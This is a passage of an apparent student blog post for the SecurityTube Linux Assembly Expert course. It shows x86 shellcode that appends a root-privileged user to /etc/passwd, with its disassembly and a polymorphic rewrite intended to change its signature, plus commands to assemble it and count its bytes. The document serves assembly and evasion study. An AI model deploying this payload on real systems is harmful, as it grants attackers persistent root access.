d\x80\x89\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2\x14\xb0\x04\xc
d\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x01\xcd\x80" > addrootuser
$ ndisasm -u addrootuser
Intel syntax for this shellcode can be found below:
$ ndisasm -u addrootuser | cut -d ' ' -f5- | sed 's/ //g'
xor eax,eax
xor ebx,ebx
xor ecx,ecx
push ebx
push dword 0x64777373
push dword 0x61702f63
push dword 0x74652f2f
mov ebx,esp
mov cx,0x401
mov al,0x5
int 0x80
mov ebx,eax
xor eax,eax
xor edx,edx
push dword 0x68732f6e
push dword 0x69622f2f
push dword 0x3a2f3a3a
push dword 0x303a303a
push dword 0x3a626f62
mov ecx,esp
mov dl,0x14
mov al,0x4
int 0x80
xor eax,eax
mov al,0x6
int 0x80
xor eax,eax
mov al,0x1
int 0x80
Shellcode size:
echo "\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\x66\xb9\x01\x04\xb0\x05\xc
d\x80\x89\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2\x14\xb0\x04\xc
d\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x01\xcd\x80" | grep -o '\x' | wc -l
83
Modified (polymorphic) assembly
global _start
section .text
_start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
push ebx
; push dword 0x64777373 ; sswd
; push dword 0x61702f63 ; c/pa
; push dword 0x74652f2f ; te//
; new set: 6374652f, 61702f2f, 64777373
push dword 0x64777373 ; sswd
push dword 0x61702f2f ; //pa
push dword 0x6374652f ; /etc
mov ebx,esp
mov cx,0x401
mov al,0x5
int 0x80
mov ebx,eax
xor eax,eax
; push dword 0x68732f6e ; n/sh
; push dword 0x69622f2f ; ib//
; push dword 0x3a2f3a3a ; :/::
; push dword 0x303a303a ; 0:0:
; push dword 0x3a626f62 ; :bob
push dword 0x68732f2f ; //sh
push dword 0x6e69622f ; nib/
push dword 0x3a2f3a3a ; :/::
push dword 0x303a303a ; 0:0:
push dword 0x3a737373 ; :sss
; mov ecx,esp
; ? pop ecx
lea ecx, [esp]
mov dl,0x14
mov al,0x4
int 0x80
xor eax,eax
mov al,0x6
int 0x80
; this is the exit call
xor eax,eax
; mov al,0x1
inc eax
int 0x80
To compile and run .nasm file:
$ nasm -f elf addroot.nasm
$ ld -m elf_i386 -o addroot addroot.o
$ ./chmod
Objdump:
$ objdump -d -M intel ./addroot
Get shellcode size
$ objdump -d ./addroot|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' | tr -d '"' | grep -o "\x" | wc -l
83
gdb:
$ gdb -q ./addroot
(gdb) disas _start
The polymorphic shellcode is 83 bytes or exactly equal (100%) size to the original.
And here’s the added passwd user (remember gdb has to be run with root privileges, i.e. sudo gdb -q ./addroot):
A total of 4 shellcodes were altered to a slightly polymorphic version to their originals. This completes the objective requirements for Assignment #6.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-346690